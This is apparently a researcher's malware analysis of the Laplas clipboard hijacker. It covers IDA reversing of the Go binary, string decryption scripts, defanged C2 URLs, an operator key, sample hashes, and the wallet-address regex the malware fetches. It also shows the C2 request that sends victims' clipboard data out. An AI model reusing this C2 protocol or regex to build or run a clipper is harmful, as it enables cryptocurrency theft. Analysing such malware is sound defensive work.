Overview

According to cyble laplas is a clipboard hijacker that is sold openly on forums. This sample of Laplas is written in GOLang, but there is also a .NET build.

According to the same blog the malware calls out to its C2 to get a list of regexes to use for clipboard hijacking.

The malware uses GetRegex() function to get all the regex patterns from the C&C server. This function calls SendRequest() function internally, which forms the below URL that downloads the regex pattern to identify the victim’s cryptocurrency wallet address. hxxp[:]//clipper[.]guru/bot/regex?key=afc950a4a18fd71c9d7be4c460e4cb77d0bcf29a49d097e4e739c17c332c3a34

Panel

This stealer has poor OPSEC and the panel is openly available on the web at https://laplas[.]app/. Potential users are encouraged to create an account and purchase access to the bot.

The developer also has a telegram channel at https://t[.]me/LAPLAS_CLIPPER_NEWS.

Samples

Packed: 81e9eefec051e50a819e76fa1ec2f088c2e8c5de677537838193cf6c2e5c7584 malware bazaar Unpacked:f341ad891d445c745f10b4861a5c273abf7a38a0bd85168e7e6528e6b5c0141d malshare

References

Analysis

GO Analysis Workflow

We are only using IDA 7.5 so we don't have a lot of the fancy GO features in the newer versions of IDA. We are mainly relying on IDA plugins to fix up the GO binary.

  1. Run AlphaGolang scripts (1) and (2) to label the statically linked GO runtime and library code
  2. Run GoReSym and imported the results with their IDA script (not sure what this did?)
  3. Run AlphaGolang script (4) to fix up the string refs ... this only sort of works
  4. Optional mark the .data section with the string references as readble only (constant) to force Hex-Rays to show the string literals... we also need to uncheck the Print only constant string literals in the Hex-Rays options. This will now show the string refs. ref
  5. Strings are not null terminated this means that we need to force the string size manually or IDA will assume a giant blob of ascii text is the string. There should be a better way but for now we just made a terrible one-off script.

GO String Formatting

Go strings use the following struct.

struct go_string{
    char* string_buff;
    DWORD string_len; 

}

The following terrible script can be used to manually force the proper string length for the GO strings references in the .data section. The start and end are used to mark the start and end of the GO strings table (barf heuristic to check if it's a legit string or not). This should probably be replaced and integrated into the GO scipts above.

def make_string(ptr):
    start = 0x0069E954
    end = 0x006B34FC
    str_len = ida_bytes.get_32bit(ptr+4)
    str_ptr = ida_bytes.get_32bit(ptr)
    if start <= str_ptr < end:
        ida_bytes.create_strlit(str_ptr, str_len, STRTYPE_C)

for ptr in range(0x0087B804, 0x087CC4F, 4):
    make_string(ptr)

GO Calling Convention and IDA 7.5

There is no good way for IDA 7.5 to handle multiple return values (used by GO) in the Hex-Rays decompiler. Though later versions of IDA support a custom __usercall notation to handle this.

Laplas String

import base64

data = 'FxgdBAQRBloTAQYB'
data_enc = base64.b64decode(data)
out = []
key = 0x74

for c in data_enc:
    out.append(c ^ key)

bytes(out)
    
b'clipper.guru'
def decrypt(data, key):
    data_enc = base64.b64decode(data)
    out = []
    for c in data_enc:
        out.append(c ^ key)
    return bytes(out)



print(decrypt('FRcRQE1GEU1CQkVGRkdAQE1DTEYSFxdMRE1CEBdCERJCRkxNREdGEERMEERHFUMWRBVNRkVDTUJGRhdHQRYQFg==',key))
print(decrypt('FxgdBAQRBloTAQYB',key))
print(decrypt('Hh0XIDI2FQIHGQ==',key))
print(decrypt('ByY5HxE2BhgsMFoEHRA=',key))
print(decrypt('JDoXDho4Az05GFoRDBE=',key))
b'ace492e9661223449782fcc8096dc6ef6289032d08d03a7b0a92179622c35bdb'
b'clipper.guru'
b'jicTFBavsm'
b'sRMkeBrlXD.pid'
b'PNcznLwIMl.exe'

The first string is the KEY that is used to ID the botnet operator and the second is the the C2 host (the botnet is centrally hosted so encryptiing this seems silly).

C2 URLs

Regex

The regex endpoint is used to pull down a list of regexes used to replace clipboard data.

http[:]//clipper[.]guru/bot/regex?key=ace492e9661223449782fcc8096dc6ef6289032d08d03a7b0a92179622c35bdb

Response

^(?:(1[1-9A-HJ-NP-Za-km-z]{33})|(3[1-9A-HJ-NP-Za-km-z]{33})|(bc1q[023456789acdefghjklmnpqrstuvwxyz]{38,58})|(q[a-z0-9]{41})|(p[a-z0-9]{41})|(L[a-km-zA-HJ-NP-Z1-9]{33})|(M[a-km-zA-HJ-NP-Z1-9]{33})|(ltc1q[a-km-zA-HJ-NP-Z1-9]{38})|(0x[a-fA-F0-9]{40})|(D[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32})|(4[0-9AB][1-9A-HJ-NP-Za-km-z]{93})|(8[0-9AB][1-9A-HJ-NP-Za-km-z]{93})|(r[0-9a-zA-Z]{33})|(t1[a-km-zA-HJ-NP-Z1-9]{33})|(X[1-9A-HJ-NP-Za-km-z]{33})|(ronin:[a-fA-F0-9]{40})|(T[A-Za-z1-9]{33})|(http[s]*:\/\/steamcommunity.com\/tradeoffer\/new\/\?partner=([0-9]+)&token=([a-zA-Z0-9]+))|(tz[1-3][1-9A-HJ-NP-Za-km-z]{33})|(addr1[a-z0-9]+)|(cosmos1[a-z0-9]{38})|(R[a-zA-Z0-9]{33})|([A-Z2-7]{58})|([1-9A-HJ-NP-Za-km-z]{44}))

Get

The get endpoint is used to get attacker controled data to replace the intercepted clipboard data. The clipboard data is sent in the address parameter.

http[:]//clipper[.]guru/bot/get?address=https%3A%2F%2Fsteamcommunity.com%2Ftradeoffer%2Fnew%2F%3Fpartner%3D482147969%26token%3Db&key=ace492e9661223449782fcc8096dc6ef6289032d08d03a7b0a92179622c35bdb